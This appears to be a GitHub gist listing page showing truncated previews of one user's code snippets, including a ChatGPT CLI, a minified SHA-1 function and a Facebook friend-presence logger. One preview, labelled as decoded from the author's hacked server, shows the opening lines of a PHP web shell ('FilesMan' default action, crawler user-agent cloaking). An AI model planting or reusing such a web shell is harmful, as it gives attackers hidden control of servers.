Skip to content

Instantly share code, notes, and snippets.

@antimatter15
antimatter15 / chatgpt.js
Created December 2, 2022 23:38
ChatGPT CLI Command Line Interface
#!/usr/bin/env node
const fs = require("fs");
function uuid() {
return [8, 4, 4, 4, 12]
.map((k) =>
Math.random()
.toString(16)
.slice(3, 3 + k)
@antimatter15
antimatter15 / xstyles.php
Created May 31, 2015 09:04
Decoded from my hacked server
<?php
$auth_pass = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@antimatter15
antimatter15 / algorithm.pseudo
Created February 16, 2012 03:22
Pseudocode to Graphviz Converter
Place phone call.
Home?
Leave message
Wait for callback
"Would you like to share a meal"
"Would you like to share a meal"
What is the response (A) ?
"Do you enjoy a hot beverage"
What is the response (B) ?
n = 0
// Created on Sat Feb 25 2012
#include <stdio.h>
//this C macro makes it easy to drive a certain direction for a certain distance
#define INERCOM 70 //this is the inertial compensator coefficient.
//this is the percent to dampen the velocity coefficients to compensate for inertia
//it's probably better to underestimate than to overestimate because there's greater
//energy required/opportunity for error when you overshoot and need to backtrack
//SHA1 in Javascript 862 bytes
SHA1=function(l){function p(b,a){return b<<a|b>>>32-a}l+="€";for(var n=Math,c=[1518500249,1859775393,2400959708,3395469782,1732584193,4023233417,2562383102,271733878,3285377520,4294967295],s=n.ceil(l.length/4)+2,q=n.ceil(s/16),g=[],a=0,h=[],j,d,e,f,m,i,b,k;a<q;a++){g[a]=[];for(k=0;k<16;k++){function o(b,c){return l.charCodeAt(a*64+k*4+b)<<c}g[a][k]=o(0,24)|o(1,16)|o(2,8)|o(3,0)}}i=l.length*8-8;a=q-1;g[a][14]=i/(c[9]+1);g[a][14]=n.floor(g[a][14]);g[a][15]=i&c[9];for(a=0;a<q;a++){for(b=0;b<16;b++)h[b]=g[a][b];for(b=16;b<80;b++)h[b]=p(h[b-3]^h[b-8]^h[b-14]^h[b-16],1);j=c[4];d=c[5];e=c[6];f=c[7];m=c[8];for(b=0;b<80;b++){var r=n.floor(b/20),t=p(j,5)+(r<1?d&e^~d&f:r==2?d&e^d&f^e&f:d^e^f)+m+c[r]+h[b]&c[9];m=f;f=e;e=p(d,30);d=j;j=t}c[4]+=j;c[5]+=d;c[6]+=e;c[7]+=f;c[8]+=m}i="";for(z=4;z<9;z++)for(a=7;a>=0;a--)i+=((c[z]&c[9])>>>a*4&15).toString(16);return i};
<?php
error_reporting(E_ALL);
/*
Written by Antimatter15. Released to Public Domain.
Changes:
December 3 - Created
December 5 - Fixed bug (undefined bmadd), Switched to raw SHA-1 (allow < 512 bit keys), Fixed Adding, Undefined variable, Uninitialized String
*/
@antimatter15
antimatter15 / dynamic.js
Last active December 2, 2018 23:43
Dynamic Scoped Javascript
// Part I: The Magic
// The crux of this are two methods: pushStackTokens and readStackTokens
// They form the primitives for manipulating the Javascript VM's call stack
// pushStackTokens allows us to inject information (tokens) into the call stack
// readStackTokens allows us to retrieve all the stack tokens in the
// current call stack.
function pushStackTokens(tokens, fn, ...args){
tokens.forEach(tok => console.assert(/^\w+$/.test(tok),
@antimatter15
antimatter15 / faketalk.js
Last active December 2, 2018 23:37
A toy system inspired by realtalk
function mouse(_, me, when, claim){
when('fox is out', () => {
claim(me, 'wish', 'labelled', 'squeak')
claim(me, 'wish', 'outlined', 'red')
})
}
function fox(_, me, when, claim){
claim('fox is out')
}
#https://developers.facebook.com/tools/explorer/145634995501895/?method=GET&path=1686802955
accesstoken=`cat authkey.txt`
curl "https://graph.facebook.com/fql?q=SELECT%20uid%2C%20name%2C%20online_presence%20FROM%20user%20%20WHERE%20online_presence%20IN%20('active'%2C%20'idle')%20AND%20uid%20IN%20(SELECT%20uid2%20FROM%20friend%20WHERE%20uid1%20%3D%20me())&access_token=$accesstoken" > tmp.txt
if grep -q Error < tmp.txt; then
echo "Error"
notify-send "Update the auth key"
fi
date >> log.txt
cat tmp.txt >> log.txt